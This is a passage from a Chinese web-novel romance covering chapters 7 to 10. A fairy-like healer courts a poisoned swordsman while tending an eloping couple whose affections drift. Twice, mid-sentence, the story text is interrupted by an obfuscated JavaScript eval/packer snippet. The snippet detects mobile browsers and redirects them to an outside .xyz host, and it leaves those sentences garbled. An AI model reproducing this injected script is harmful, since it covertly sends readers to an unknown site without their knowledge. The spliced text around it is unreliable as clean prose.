萧随星到千山镇也有些时日了,他只要稍一打探,就会知道这位“王公子”是个什么货色,小仙女若是嫁给他,无异于是掉进了火坑。 也许他现在对她还没有什么真切的喜欢,但百分之四十的好感度摆在那里,夏桃不信他会真的一走了之,放任她随随便便选个人嫁了。 “你知不知道成亲是什么意思?”萧随星说,“你在月宫上,难道没听说过牛郎织女的故事?织女下凡沐浴,被牛郎偷走了羽衣,无法飞回天宫,只好嫁给他做妻子。可见嫁人本就不是什么好事,你才下凡多久,怎么这么想不开?” “可是话本里都说,仙女下凡嫁给穷书生是值得歌颂的美好爱情。” “因为话本都是穷书生写的。”萧随星说,见她仍是一脸懵懂,他一把攥住她的手腕,“跟我去个地方。” 小姮娥下意识想缩回手,但他攥得太紧,她一时挣脱不开:“去哪里呀?” “到了你就知道了。” * 红彤彤的灯笼挂在院外的墙上,灯影缱绻,空气中浮动着暧昧的香气。 萧随星带她来的地方,竟然是泉州最大的一间秦楼楚馆。 他显然不是来这里做客的,萧随没有去最那些热闹的地方,而是避开旁人,用轻功携着她直奔屋顶。 这是这一片最高的建筑,修建得金碧辉煌,十分漂亮,从这里望下去,整个青楼的场景都能尽收眼底,包括常人不可能去到的后院。 和热闹非凡的前院不同,青楼的后院显得十分冷清寂寥。 偌大的院子里只有一个衣着单薄的妇人在用力捶洗着脏衣裳,脏掉的衣物源源不断地被送过来,还有老妈子站在一旁责骂妇人洗得不够好不够快只会偷懒,再这样下去就等着挨鞭子吧! 妇人唯唯诺诺地不敢反抗,但桃桃分明看见她的双手已经被冷水泡得肿得萝卜了。 “哎——” 小仙女心生不忍,立刻就想下去帮忙,却被身旁的少年一把拉了回来:“知道下面洗衣服的女人是谁吗?三年前,她还是这家青楼最红的姑娘。” 故事俗气而老套,最红的花魁遇上了一掷千金的富家公子,交付了身心,满心以为自己遇到了良人。 可没想到富家公子家里多的是莺莺燕燕,对她好不过是贪图她的美色,半点没有要给她赎身的意思,因为他家里不可能同意他纳一个青楼出身的妓子,所以玩腻了之后他便一脚踢开了这个女人,就连她生的孩子也没要,反正他也不缺人给他生孩子。 而这个女人又实在不够聪明,春风得意之时得罪了不少人,如今青春美貌不再,身体又坏掉了,还没人帮她赎身,最后也只能落到这种境地。 那位富商公子呢,则依旧花天酒地,没有也不会受到任何影响。 “男子大多如此,负心薄幸是常事,这样的女人,在那位‘王公子’的后院里还有很多。”萧随星似笑非笑地望着她,“你难道想一嫁进去,就被一群小孩围着叫娘吗?” 小仙女把脑袋摇成了拨浪鼓。 “‘男子大多如此’?”她又好奇道,“所以你也是吗?你也是会‘负心薄幸’的那种男人?” “谁知道呢?”他面无表情地偏了偏头,“我的意思是,两情相悦海誓山盟的男人尚且会做出这种背信弃义的事来,何况你这样胡乱选的?就算真想尝一下爱情的苦,你好歹选个人中龙凤吧?选王公子这种歪瓜裂枣算是怎么回事?” 大概是被那名女子的惨状惊到了,小姮娥这次没再立刻反驳他,而是仔细想了想,才郑重其事地点了点头:“嗯,你说的好像有点道理……我不嫁给王公子了。” 她像是又有点感动,目光盈盈地望着他,娇声说:“谢谢你,我初来乍到,好多事都不太懂,要不是你告诉我这些,我一定被坏人骗了都不知道。” 大概因为他是她认识最久的人,小仙女对他似乎有种别样的依赖和信任,表现在肢体语言上,就是她没有丝毫领地意识,总是下意识地靠他很近,仿佛他绝不会伤害她似的。 她目光如水,仰着那张芙蓉雪面专注地望着他,就好像满池的春水都被她泼洒在他身上了。 他甚至能隐隐闻到她身上传来的月桂冷香。 萧随星顿了顿。 他突然意识到,不知道是不是风大的缘故……她好像离他太近了。 近到……如果再上前一步,她就能完全依偎进他怀里。 他心脏处突然泛起了一丝难以言明的感觉,像火烧,又像每次毒发时血液里涌动的刺痛,却又似乎是比那更剧烈,好像离她越近,那种刺痛的感知就越明显。 他不着痕迹又有些狼狈地别过头,不知为何,忽然不想在这种时候继续看她的脸。 小仙女没有注意到他那奇怪的沉默,因为她也在沉默,只是似乎和他的沉默不是一回事。 秋风萧瑟,天上突然下起了绵绵细雨,两人共同撑着一把油纸伞,慢慢往医馆的方向走。 天色已深,街上空无一人,没有人说话,整个世界安静得好像只能听见雨水溅在伞面上,开出的朵朵水花声。 医馆的院子里有一池荷塘,虽然现在已经没有了荷叶,但各种颜色的锦鲤还在其中游动,雨水落在池塘里,水珠在水面滴答跳动。 小姮娥望着水面发呆。 像是过了一会儿,又像是过了好久,她才终于想明白了什么似的,几步走到他面前站定,甜甜地说:“小星,你刚才和我说的话,我都想清楚了。” “什么?” 他还有些心不在焉。 “我觉得你说得有道理。”小姮娥说,“好不容易下来一趟,能有机会体验一番男欢女爱,人选的抉择上实在不 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他只能听见雨落下的声音。 小仙女一无所知地望着他,依赖又信任地问他:“小星,你懂得好多事,既然王公子在你眼里不好,那你觉得我嫁给萧随星好不好呀?” 萧随星没有说话。 他移开视线,不去看她。 他那张俊脸上没有表情,他既没有说好,也没说不好,只是说:“你就一定要找个人成亲么?” 小仙女没回答他的问题,她看了他一会儿,突然好奇道:“咦?屋里很热吗?你的脸怎么红了?” “你看错了。” 他说。 “我没看错,你的脸明明就是有点红,不信你自己摸摸……” 她说着说着就要去碰他的脸,想用温度来证明自己没错,可还没碰到萧随星,就被他反手握住了手腕,阻止了她进一步的动作。 他的手脉络分明,修长而有力,这是染过鲜血的手,是用来握剑的手,是能瞬间取人性命的手,却唯独没有触摸过女孩柔软的肌肤。 抓住她手腕时他没有注意控制力度,明明是想阻止她靠近的,却反而让桃桃失了平衡,直直栽进了他怀里。 两人都是一愣。 她的手攀在他肩上,稳住身体后她下意识抬起头,正巧对上他的视线。 这是她第一次离他这么近,少年那双漂亮的眼眸灿如星火,正一眨不眨地凝视着她,眸光灼灼,只倒映出她一人的身影。 这个姿势好像有点太近了。 耳畔心跳如擂鼓。 分不清到底是他的心跳,还是她的心跳。 时间仿佛停止了。 窗外冷冽的风声、细碎的雨声、还有枯叶落下的声音……全都在这一刻消失了。 稀薄的空气开始变热。 热到……就连她身上若有若无的冷香,也逐渐浓郁了起来。 他笑起来的时候就像猫一样温柔又狡黠,可一旦不笑,恢复成面无表情的认真模样,秾丽如画的眉眼就更有种摄人心魄的风流俊美。 他垂下眼眸,视线落在她弯弯的柳眉上、落在她的杏目上……最后落在她嫣红的双唇上。 他的喉结似乎很轻地滚动了一下。 被他这样看着,她几乎有些腿软了,怯怯道:“你、你为什么这样看我?” 萧随星没有回答。 可是他的目光似乎已经给出了答案。 这个答案是不需要明说的。 小仙女望着他的眼眸,她觉得自己好像读懂了这个答案,又觉得自己好像没有懂。 可是她没有时间再细看了,因为不知为何,眼前的少年突然先一步移开了视线,他匆匆垂下眼帘,不再看她,只留下一个精致的侧影。 就在这时,医馆外突然传来了急促的敲门声。 “大夫!大夫!求求您开门!这里有病人!” 8. 第八章 【啊啊啊啊啊啊啊!哪里来的电灯泡!气氛酝酿得这么好!为什么要打断我磕CP!】 小白兔在系统空间里狂奔哀嚎。 突然响起的敲门声,瞬间打散了空气中原本氤氲的暧昧,小仙女像是突然惊醒似的,慌乱地向后退了一步,萧随星没有勉强,随之松开了握住她的手。 两人又回到了安全的社交距离。 就仿佛什么也没发生过似的。 医馆外的敲门声越发急促:“大夫?大夫?!有人在吗?” “来啦。” 夏桃应了一声,她素手挑着一盏灯笼,轻轻把门推开,看着出现在大雨中的少男少女,微微笑了起来:“我就是这里的医师,有什么事吗?” * 身为飞鹤山庄的三少爷,詹绍元自幼含着金汤匙出生,他前十几年的人生一路顺风顺水,从未像这些时日一样,接受过如此之多的打击。 今年重阳节,詹绍元和师兄师弟们前去登高辞青,在那里,他遇到了一位姑娘。 那姑娘貌美如花、身段纤弱,人又知书达理,他们一路结伴同行,谈天说地好不快活。 姑娘名叫杜香兰,人如其名,果然是个如空谷幽兰般的女子。 詹绍元已有未婚妻,对方是他青梅竹马一起长大的表妹,但詹绍元对自己这个未婚妻一直不太满意。 等见到了杜香兰,原本五六分的不满意,立刻就扩大到了九分—— 他对表妹只有亲人间的关心,并无半分男女之情,更何况表妹容貌只能算得上清秀,平日里又爱舞刀弄枪,琴棋书画诗词歌赋样样不通,如何能和杜姑娘相比呢? 詹绍元对杜香兰一见钟情,立刻就想解除婚约娶杜香兰为妻。 可就在这时,另一个打击又降临在了他身上—— 杜香兰竟然是红枫堡的二小姐,飞鹤山庄和红枫堡积怨多年,两家长辈绝不会同意他们在一起! 长辈们不反对还好,一反对,詹绍元和杜香兰二人顿时觉得自己就是化蝶的梁祝,是《孔雀东南飞》里被拆散的焦仲卿和刘兰芝,他们情比金坚,而全天下的人都想要拆散他们这对可怜的痴心人。 二人当即决定私奔,但从小锦衣玉食的两人哪里吃过苦,这一路过来,各种狼狈仓促不说,杜香兰还中了毒,生命垂危。 詹绍元觉得老天不公。 他不过是普普通通地爱上了一个人,不过是想和有情人长厢厮守,这么一个简简单单的愿望,为何老天一定要安排种种磨难来考验他们? 好在走投无路之际,他终于找到了一间医馆。 眼见医馆的大门被打开,原本已然绝望的詹绍元顿时松了口气,焦急道:“大夫,求您救救香兰,我带着她走了好久才见到您这一间医馆,若是您也不肯帮忙,我真是不知道该怎样才好了!” 他一边说着,一边抱着杜香兰就想往里走,可抬眼的一瞬间,詹绍元愣住了。 医馆的大门被打开,一位绝色少女提着一盏花灯倚在门前,她穿着一身雪色衣裳,乌发雪肤,容色灿灿,恰逢一阵微风拂过,她纯白的衣袂如云如雾,仙气飘飘,更衬得她玉骨清绝,不似凡人。 她美得仿佛是从月宫中下凡的神女。 詹绍元呆呆地望着眼前的少女,这样的美色当前,只觉得周遭的一切似乎都随风而逝,无影无踪了。 明明不合时宜,但他心里却电光火石般闪过一个念头:就连香兰这般出众的女子……似乎也无法和眼前的少女相提并论。 詹绍元此前对杜香兰一见钟情,自然是因为杜香兰生得美,“一见钟情”大多不过见色起意,男人更是如此,痴情的左右不过是一张美丽的皮囊。 他的深情能维持多久,多半取决于这张皮囊的美丽能维持多久。 可若是出现了另一张更美丽的皮囊呢? 在詹绍元看着她发呆的时候,夏桃也在不动声色地打量着这两人。 杜香兰的美貌自是不必多提,詹绍元这厮能让红枫堡二小姐一见钟情还同意和他私奔,长相当然也不会差到哪里去。 他身姿挺拔,生得一双剑眉,轮廓俊朗而秀气,倘若不是提前知道了他医闹还草菅人命的破事,恐怕夏桃也会觉得他是什么靠得住的正人君子。 皮囊,果然是世上最能迷惑人心的东西。 詹绍元、杜香兰、萧随星、还有她——他们这一方小天地里的四个人,个个都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792660|158189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有一副好皮囊,但皮囊下藏着的到底是善人还是恶鬼,又有谁知道呢? 想到这里,夏桃在心里微微一笑。 “愣着干什么?你不是要求我救她吗?进来呀。” 白衣少女提着灯往里走,见他还愣在外面,顿时奇怪地停下脚步,回首招呼他。 她这一动一静之间,更显一弯倩影纤弱风流,娇美至极,詹绍元看得又是一怔。 直到感受到臂弯里的柔软身躯,这才回过神来,他急忙收回了视线,低声道:“那便打扰姑娘了。” 他看了看自己沾满雨水的衣裳,他平日里从来锦衣华服、光彩照人,现在却因为私奔把自己弄得满身狼狈,哪里还有半分飞鹤山庄三少爷的风采? 以这样的形象出现在这个孤高如月的少女面前,他顿觉有些自惭形秽。 心里泛起的,似乎还有一丝……说不清道不明的后悔。 但这点淡淡的悔意,也不过转瞬即逝罢了。 对于詹绍元心中所想,夏桃全然不知,或者说就算知道了她也不在乎。 她带他进入医馆,把杜香兰放到雕花屏风后的病床上,她知道剧情线,对怎么医治杜香兰心知肚明,但表面上还是要装一下的。 于是夏桃装模作样地诊了一番脉,又问他杜香兰是中的什么毒、什么时候中的毒,詹绍元对此当然是一无所知。 问到最后,夏桃佯装被他惹恼了,生气道:“什么都不知道,你让我怎么救她啊?不知道毒物源头,就没办法用药,如果用错了药,反倒会让毒素蔓延得更深,岂不是害了她性命?我救不了她,你们还是另寻名医吧。” 听他这样说,詹绍元也是如剧情中一般再三恳求,保证就算治不好杜香兰,也绝不会医闹(当然夏桃知道他的保证纯属放屁),一番拉扯下来,这才“勉强”同意了收治杜香兰。 整个过程,萧随星除了刚开始看了一眼詹、杜二人外,其余时间始终兴致缺缺地坐在一旁走神,看起来对这两人丝毫没有了解或结识的兴趣。 夏桃写好方子,抓了药让詹绍元自己去煎,她微微一笑道:“我大概知道她的毒要怎么解了,你去煎药吧,等喝完这几副药,我们再说之后的事。” 9. 第九章 詹绍元和杜香兰就这样在医馆住下了。 和此前剧情中的不同,不知为何,这次詹绍元没有告诉夏桃自己和杜香兰的身份关系,只说他们是表兄妹,一起来千山镇游玩的。 这算什么?有情人终成兄妹吗? 听他这样说瞎话,对一切心知肚明的夏桃只觉啼笑皆非,但她并未拆穿,只一心救治杜香兰。 在她的精心照料下,杜香兰体内的毒慢慢被排了出去,清醒的时间也越来越长。 詹绍元和杜香兰这边的剧情暂且算是平稳进行中,但萧随星那边又出了点问题。 自从那晚雨夜之后,夏桃发现他这几天似乎有点躲着她。 并不是刻意的疏远或冷淡,事实上,萧随星在面对她的时候总是笑眯眯的,态度和先前丝毫未变,如果不是夏桃有心留意,绝不会发现他们二人单独相处的时间在被他有意减少。 虽然在躲着她,但他的好感度却在悄无声息地上涨。 只是每次上涨,他的好感度都会出现剧烈的波动,在一个很小的范围里涨涨掉掉,但最终还是维持上涨的趋势。 真是叫人摸不着头脑…… 通过好感度系统观测到这一切的夏桃:……总觉得好像看了一篇八百字的内心戏……这小子到底在想什么啊? 【因为他心动了呀~】 小白兔突然出现。 “什么意思?” 【这你就不知道了吧?】小白兔得意洋洋地说,【萧随星身体里有一种奇特的蛊虫名叫“噬心蛊”。这条蛊虫不会对他的身体造成什么伤害,但是一旦他动心动情,蛊虫就会活跃起来,这时他的心脏就会感受到仿佛被啃噬般的疼痛。除非他不再喜欢这个人,或者这个人死掉,否则这种痛会永无止境地折磨着他。】 【他既然已经对你动心,噬心蛊当然就会开始发作咯~】小白兔怜悯道,【他现在应该痛得很难忍吧~】 “这个噬心蛊有点鸡肋啊,不会对身体造成伤害……但是只要动心动情就会感受噬心一样的痛?” 不知为何,夏桃总觉得噬心蛊这个机制,似乎有点惩戒的意味在里面。 “可是他身体内又是各种奇毒又是蛊虫作祟的……这未免有点太惨了吧?”夏桃好奇道,“他爹不是魔教教主吗?不至于这样折磨自己儿子吧?还是他爹信奉斯巴达教育?准备逼自己儿子修无情道?他爹是不想抱孙子了么?” 夏桃不由得对萧随星的过去感到一丝好奇。 【这个我就不能多说了。】小白兔用长长的兔耳朵比了个叉,【这种情报要么你自己打探,要么花积分来购买,想白嫖兔兔是不可能的!】 “哼,小气兔。” 夏桃捏了捏兔兔的白耳朵,略过了这个话题。 医治杜香兰的药方里有几味药材用量较大,不过几副药下去,药材存量就不够了。 为了防止别的病人没药可用,这日清晨,夏桃打算去山里采药。 听说这个消息后,詹绍元表现得很积极:“夏姑娘,还是我和你一起去吧。你这几日殚精竭虑,都没怎么好好休息,采药这么辛苦,怎么还能让你自己提着药箱跑一趟呢?” 真要觉得她辛苦,就该他自己去采药,让她留下来休息啊。 夏桃暗自吐槽,但表面上还是一脸天真地答应了:“那好吧。山里容易迷路,你跟紧我哦。” 于是他们把萧随星和杜香兰这两个病人留在医馆,自己去了山里。 在山中采药不是一件轻松的事,有时很久才能找到一株需要的草药。 可就算遇见了想要的,也不能立刻采下来放进背篓中,而是要仔细甄别,确保没有把长得像的草药一同采了进去。因为许多长得相似的植物药性并不相同,有的可以治病,有的却或许有毒。 二人在山中一待就是好几个时辰,等下山的时候已经是落日熔金、漫天霞光了。 除了草药,小仙女还摘了好多小花,颇有闲情逸致地编了个花环戴在自己头上。 这是她第一次编东西,十分生疏,编出来的花环也丑丑的,但詹绍元却觉得她满心欢喜地把丑花环戴在头上的样子可爱极了。 明明上山采药是非常累且无聊的事,但有夏姑娘在身边,好像也不怎么无聊。 詹绍元想。 杜香兰还在病中,詹绍元知道自己应该把更多的精力用在她身上,可不知怎么了,明明是在照顾杜香兰,他的目光却总是忍不住追逐夏姑娘的身影,总是想多看她几眼、多和她说几句话。 这几日越是和夏姑娘相处,他便越是被她的容光所摄,觉得天下至美也不过如此了,更难得的是夏姑娘人美心善,不仅医术高超,人还天真烂漫得很,时常会做出一些可爱的举动,让人忍不住会心一笑。 若是能一直…… 这个念头还没完全冒出来,就被他慌忙摁了下去,詹绍元一时不敢深想。 两人一路闲聊,顺着路往医馆方向走,刚走到集市,还在和她说笑的詹绍元仿佛看到了什么似的,脸色微微一变,拉着夏桃就躲进了一旁的酒肆中。 白衣少女还没来得及问怎么了,就见酒肆外走过了几个年轻人,其中男女都有,他们身姿挺拔,人人腰间都佩着一把长剑,神情间颇有几分傲气,一看就知道是习武的。 其中有人手中还拿着幅画,似乎是在询问周围百姓有没有见过画上的人。 好在詹绍元躲得及时,这些年轻人并没有发现他们的身影。 待到这几人走远后,两人才从酒肆中出来。 詹绍元还没来得及松口气,就见白衣少女绕了绕发尾,好奇地望着他:“你为什么要躲着他们?他们要找的人是你吧?我刚才隔着人群看见画像了,上面画着的人就是你。詹公子,难道你是被朝廷通缉的犯人,如今正在潜逃中?杜姑娘不会是被你挟持来的吧?你若再不说实话,我就去报官了。” 詹绍元当了这么多年飞鹤山庄的三少爷,无论走到哪里都是溢美之词,何时被人当成过通缉犯? 他一时哭笑不得,思考片刻,还是决定把一切都告诉她:“方才那些人是我同门师兄弟……” 就这样,他把自己的身份、怎么认识的杜香兰、怎么决定私奔、以及两家长辈正在派人找他们的事和盘托出。 听完他的话,白衣少女好像被打动了:“没想到你和杜姑娘还有这样一段感人的过往,你们愿意抛下身份名利私奔,彼此不离不弃,真是令人羡慕……” 说着说着,她声音渐渐低了下去,似乎有些郁郁寡欢。 她总是爱笑的,一笑起来如海棠醉人,美得令人目眩,可此刻黯然失落的模样似乎也别有几分楚楚可怜的风味。 见她这样,詹绍元英俊的眉眼瞬间便柔和了下来,温声道:“怎么了?夏姑娘是什么心事吗?你看起来好像不太开心。” 白衣少女咬了咬唇,犹豫片刻,有些羞怯般低声道:“其实,我也有一个喜欢的人……只是,他好像并不喜欢我。” 喜欢的人? 不知为何,提到这个话题,詹绍元突然觉得心里有些不舒服,他强笑道:“怎么会?夏姑娘长得这么美,谁会不喜欢你?” “可是小星就不喜欢我……”白衣少女失落道,“他说要去闯荡江湖,我想和他一起去,都被他拒绝了。” 詹绍元当然知道她说的这个“小星”是谁——医馆里的另一个黑衣少年,他自称姓“秦”,单名一个“星”字,是这山上的猎户,因为受伤被夏姑娘捡回了医馆。 詹绍元完全没把此人放在心上,甚至连和他结交的意思都没有,毕竟一个是飞鹤山庄的三少爷,一个不过是小镇上的猎户,如果不是私奔这档事,三少爷这辈子都不会和这个“小星”有交集。 可是,夏姑娘这种仙女似的美人竟然喜欢他? 喜欢区区一个猎户? 他何德何能?! 詹绍元感到难以置信,甚至还有一丝隐隐约约的嫉妒,他忍不住道:“可是……他只是个猎户。” “猎户怎么啦?”白衣少女奇怪地看了他一眼,“我喜欢他和他是不是猎户有什么关系?” 詹绍元咬了咬牙,没有说话。 他想,夏姑娘这种小地方出来的医女就是这样,单纯是真的单纯,没见识也是真的没见识。拥有这样的美貌,却对一个猎户芳心暗许……大概她从没见过几个排得上名号的男子吧。 如她这般心里有了别的男人、早已不干净的女子,哪怕长得再美,也绝不可能当上飞鹤山庄的少夫人。 还是香兰好,家世出众、知书达理,对他还一心一意。 詹绍元正想到这里,又听白衣少女叹了口气,失落地说:“唉,其实仔细想想,我好像也没那么喜欢小星,只是太孤独了,想要个人陪着我……不管谁都好……” 说着说着,她又对詹绍元嫣然一笑:“詹公子,我真是羡慕杜姑娘,有你这样的佳侣相伴左右,彼此心意相通。若是我也能遇到一个像你这样的人,一同游山玩水、闯荡江湖,那该多好呀……” 她美丽的面容上,渐渐浮现出憧憬的神色,似乎已经想到了和有情人一起行侠仗义的未来。 或许是她的描述太美好,詹绍元也不由得想象起她和那人一起仗剑天涯的场景,可不知为何,越是想象,她身边人的面容就越明显…… 一个念头几乎无法控制地闯进他心里——若他先遇到的是夏姑娘,而不是香兰, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792661|158189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那么他和夏姑娘…… 他默默地沉浸在这个可能中,半晌没有说话。 可是,他也不想想,他若没有遇到杜香兰,又怎么会遇到夏桃呢? 詹绍元心中所想,杜香兰毫不知情。 因为此时,她正拖着柔弱的身子,在药柜前找药。 经过几天的医治,她体内的毒已经被清除得差不多了,只是脸色还有几分白,但这几分白也无损她的美貌,只是让她看起来更娇弱清丽了。 就在她找到自己想要的药材,正准备放进药臼里时,一道懒懒散散的声音突然响起:“你拿的不是五指毛桃,是断肠草,有毒的。” 杜香兰吓得差点把药直接扔回去。 五指毛桃是做药膳的材料,但外表和断肠草很像,经常会被人认错,误食这两者导致中毒身亡的也不在少数。 杜香兰惊魂未定,脸色苍白地轻声说:“我……我只是想做碗药膳汤,没想到……多谢秦公子提醒,救命之恩,日后必定报答。” “不用。” 他说,语气是面对不熟之人的漠然。 经过这件事,杜香兰也没有什么做药膳的兴致了,慢慢回到了雕花屏风后,在病榻上坐下。 屏风和屏风间有缝隙,透过这条缝隙,她只需稍稍一抬眼,就可以看见那个黑衣少年的侧脸。 眉目如画,俊美风流。 这些天,杜香兰虽然和这个少年没什么接触,但也在有意无意间瞥见过他好几次。 他说他姓秦,单名一个星字,是这山里的猎户。 杜香兰是大家小姐,当然看得出这个黑衣少年身上没一件值钱的东西,甚至连武器都没有,显然不是什么显贵出身或隐世高手。 可他那张脸生得实在太好,堪称金相玉质、松风水月,哪怕不言不笑,也自有一番风流蕴籍。 爱美之心人皆有之,以往,杜香兰只觉得绍元哥哥是自己见过品貌最为出色的少年郎,可和眼前这个少年一比……容貌身姿上,似乎还是差了一截。 但,他只是个猎户。 ……可惜,只是个猎户。 猎户这种身份,是无论如何都比不过飞鹤山庄三少爷的。 想到这里,杜香兰也不知道自己是松了口气,还是隐隐有些什么别的复杂情绪。 她抬起头,黑衣少年叼着根杂草,正面无表情地倚在门前发呆,似乎是在等什么人回来。 除了刚才阻止她吃断肠草,他从始至终都没看过她一眼。 他是在等夏姑娘么? 想到夏桃,杜香兰心里涌起一阵酸涩。 杜香兰虽然是红枫堡的二小姐,但相比姐姐,她要受宠得多。 杜香兰知道自己长得很美,也乐于展示自己的美,比起像姐姐一样学习家传功法,在烈日下苦熬苦练,她更愿意少晒点阳光,让肌肤维持雪一样的颜色。 在她看来,何必要辛苦磨练武艺,混迹江湖,有时身份和美貌比武功更有用得多,君不见多少英雄豪杰都拜倒在了美人裙下? 就像绍元哥哥,还不是只见了她一面,就为她抛弃了青梅竹马的未婚妻? 这么多年,杜香兰对自己的观念始终深信不疑。 直到遇到夏姑娘。 她从未见过这样的女孩子,除了“美若天仙”外,竟没有别的词可以用来形容她。 可惜,夏姑娘只是个医女。 好在,她只是个医女。 山里的猎户,和小镇上的医女,倒也算得上门当户对、十分般配。 毕竟猎户就是猎户,没什么见识,只会以貌取人,哪里看得出真正的明珠? 虽然心里这样想,但杜香兰从来没被人如此忽视过,不禁觉得十分委屈,眼泪簌簌而下:“我知道在外人看来,违背父母之意和男人私奔的女子是伤风败俗、大逆不道……秦公子,你对我如此冷淡,是不是因为你心里,也是这样这样想我的?” 不知道她为什么突然哭了起来,萧随星莫名其妙:“我没有想过你。” 这只是一句陈述句,但不知为何,杜香兰哭得更委屈了。 萧随星:“……” 就在这时,夏桃和詹绍元回来了。 两人看到哭得梨花带雨的杜香兰就是一愣,詹绍元更是直接放下药箱,焦急地几步走到她身边,扶住她的肩:“香兰!你怎么了?好好的怎么哭了?是有人欺负你了吗?” 他回过头,怀疑的目光直直望向萧随星:“香兰为什么突然哭了?是不是你对她做了什么?!” 萧随星:“?” 夏桃默默地、幸灾乐祸地看了他一眼。 夏桃:是时候让你小子感受一下这对癫公癫婆的威力了! 10. 第十章 男人的嫉妒心都是很强的。 詹绍元本来就因为夏桃刚才的话,对萧随星有点隐隐约约的妒意,现在一看见杜香兰哭了,更是直接把矛头指向了他:“香兰为什么会哭?是不是你对她做了什么?!” 萧随星挑了下眉,没有说话。 大概是这俩人过于离谱,他甚至连愤怒这种情绪都生不出来了,只觉得荒谬。 他直接无视了詹绍元,视线落到小仙女身上,看见她头上戴的那个丑花环,歪头打量了一下,怀疑道:“这丑东西是你家兔子用爪子编的?让它下次别编了,太刺眼了。” 小仙女气得摘下花环抽打他:“让你嘴欠!这是我编的!” 他这副全然不把自己放在眼里的态度让詹绍元更是火大:“你——” 眼见他就要发怒,还在抽噎的杜香兰连忙拉住他的衣袖:“绍元哥哥,你误会秦公子了……他没有对我怎么样……我哭是因为、是因为太害怕了……” 她三言两语解释清了这件事和萧随星没关系,还顺带说了刚才他阻止她吃断肠草的事。 明白原来是自己误会了,詹绍元微微一哂,不情不愿地道歉:“……抱歉秦公子,刚才误会你了。” “没关系。”萧随星微笑,“我不和蠢人计较。” “你——!” 这件事到底是自己理亏,何况他还救了香兰一命,虽然很想教训一下这个出言不逊的家伙,但想到夏姑娘和香兰还在一旁看着,事情不好做得太霸道,詹绍元只好忍了下来。 他在这里兀自生闷气,混乱中,杜香兰却悄悄抬眼瞟了一下前方的那抹黑色身影。 他没有揭穿刚才她说的话。 ……但也没有看她一眼。 她蓦地松了口气……但又好像有些失落。 时间就在这种看似风平浪静实则暗流涌动的氛围中过去了,夏桃这几天的日程安排基本是这样的—— 上午,去山里采药,詹绍元多半会陪同前往,只需对他多笑一笑,说几句似是而非的话,他就会自行脑补出自己想要的内容。 下午,给杜香兰治病,根据病情调整药物用量,顺便围观癫公颠婆谈情说爱。 晚上,在不崩人设的前提下抓紧时间勾引萧随星,争取在他离开前先给他钓成翘嘴。 时间分配合理,任务分工明确。 就这样,在夏桃勤勤恳恳的努力之下,短短几天,事情就有了变化。 詹绍元似乎觉得她好像对他有意思,他一边心猿意马,止不住地心动,一边又怕杜香兰发现,不敢真的确认什么。 而另一边的杜香兰,好像也有些心不在焉。 明明救治她的人是夏桃,按理说她应该更依赖夏桃才对,但詹绍元不在医馆时,她却总是喜欢和萧随星说话,似乎对他充满了好奇。 这点夏桃也能理解,爱美是人类的天性嘛,萧随星虽然套了个猎户的身份,但容貌身段的确是一等一的秾丽俊美,五官帅得很显眼,萧随星还总是对杜香兰爱答不理的,这大概也激起了她的征服欲。 但最搞笑的是,明明这二人都有些见异思迁,可正因为两人的注意力全在夏桃和萧随星身上,忽略了情人的感受,所以反而谁都没发现对方的异常。 从某种角度上想,这两人倒也算是天生一对,十分般配。 夏桃不无嘲讽地想。 又过了几日,杜香兰身体大好,没理由再继续待在医馆,无论二人私下心情如何复杂,但表面上还是不能显露出来的,于是向夏桃辞行。 这对癫公颠婆一走,萧随星也没有继续待在这里的必要了。 他说他还有事要办,要去益州,泉州多山,从这里出发去益州,最方便快捷的方式是坐船走水路。 听说他要走,小仙女似乎有些低落,但她没再像上次一样缠着他要他带她去闯荡江湖,只是说想送送他。 秋风瑟瑟,落木萧萧,橙红色的落日沉入江水尽头,河岸边,只系着一叶小舟。 小姮娥将小巧精致的漆器盒递给他:“对不起,我法术不精,你的毒我暂时还没办法完全清除……这里面是我做的一些药丸,毒素发作的时候,可以用它们压制……如果、如果吃完了,你可以再回来找我,我再给你做。” 她眼巴巴地望着他,小心思藏不住也没想藏,全从最后一句话溢出来了。 萧随星当然听得懂她的言外之意,可却也只能假作不懂,他接过盒子,沉默了一会儿,笑眯眯地说:“好,谢谢你。” 可是小姮娥没有笑,那双水汪汪的杏眸一眨不眨地望着他:“小星,那你什么时候回来找我呢?” 萧随星垂下眼帘,他没有回答。 “你还会回来找我吗?” 她又问。 他还是没有回答。 萧随星不知道自己是怎么了,其实他完全可以说点好听的话来哄哄她,就像他最开始骗她自己是猎户一样,她这么傻,他说什么她都会信的,可是……就连他自己也不知道自己能不能回来,又怎么能随意给出承诺?如果骗她说他会回来,万一她信了,真的每天傻傻地站在这里等他,又该怎么办? 其实他知道小姮娥是什么意思,也看得出她对他很不舍……但是,他们完全是两个世界的人……那晚噬心蛊的发作更是提醒了他——她的时间无穷无尽,而他还能活多久?一年?还是两年? 他从不沉溺于风花雪月,因为他早就下过决心,这辈子只为复仇而活,只要能成功杀了仇人,他不在乎自己还剩多少时间。 她是出现他生命中的例外,可是他却没有动心的资格。 他这样的人,本就没有动心的资格。 所以他只能装作什么都听不懂,什么都看不懂。 这样对谁都好。 